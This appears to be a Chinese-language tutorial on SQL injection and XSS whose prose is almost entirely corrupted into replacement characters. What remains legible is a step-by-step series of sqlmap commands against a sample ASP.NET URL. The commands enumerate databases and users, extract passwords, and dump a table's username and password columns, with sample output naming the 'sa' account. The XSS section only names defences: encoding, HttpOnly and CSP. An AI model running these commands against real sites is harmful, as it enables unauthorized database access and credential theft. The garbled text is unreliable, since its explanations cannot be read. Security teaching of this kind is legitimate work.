本文共 3996 字，大约阅读时间需要 13 分钟。

SQL���������������������

SQL������������������

SQL������������������������Web���������������������������������������������������SQL���������������������������������������������������������������������������������SQLMap������������������������������

���������������������

• --dbs������������������������������

  python sqlmap.py -u "http://example.com/tztgxx.aspx?code=115" --dbs

• --current-db���������������������������������������

  python sqlmap.py -u "http://example.com/tztgxx.aspx?code=115" --current-db

���������������������

• --users������������������������������������

  python sqlmap.py -u "http://example.com/tztgxx.aspx?code=115" --users

  ���������������������������������

  (1) BUILTIN\Administrators
  (2) sa

• --current-user���������������������������

  python sqlmap.py -u "http://example.com/tztgxx.aspx?code=115" --current-user

• --passwords���������������������������������

  python sqlmap.py -u "http://example.com/tztgxx.aspx?code=115" --passwords

���������������������������

• --tables������������������������������������������������������������

  python sqlmap.py -u "http://example.com/tztgxx.aspx?code=115" -D ahykd_new --tables

• --columns������������������������������������������������������������������

  python sqlmap.py -u "http://example.com/tztgxx.aspx?code=115" -D ahykd_new -T usr --columns

������������������

• --dump������������������������������

  python sqlmap.py -u "http://example.com/tztgxx.aspx?code=115" -D ahykd_new -T usr -C "usr_name,password" --dump

  ���������������������������������������������������������������������������

SQL������������

������SQL������������������������������������������������

������������

������������

XSS������������������XSS���

XSS������������

XSS������������Web������������������������������������������������������������HTML������������������������������������������������������������

XSS������

XSS������������

������������

������������

������������������

������������

���������������������������������������������������������HTML���XML������������������������������������������������������������

HttpOnly cookie

���cookie������������������HttpOnly������������������JavaScript������cookie���������

CSP������������������

������������Content Security Policy (CSP)������������������������������������������<script>���������

������������

���������������������������������������������������6-12���������������������������������������������������

������

������������SQL���������XSS������������������������������������������������������������Web���������������������������������������������������������������������������������������������������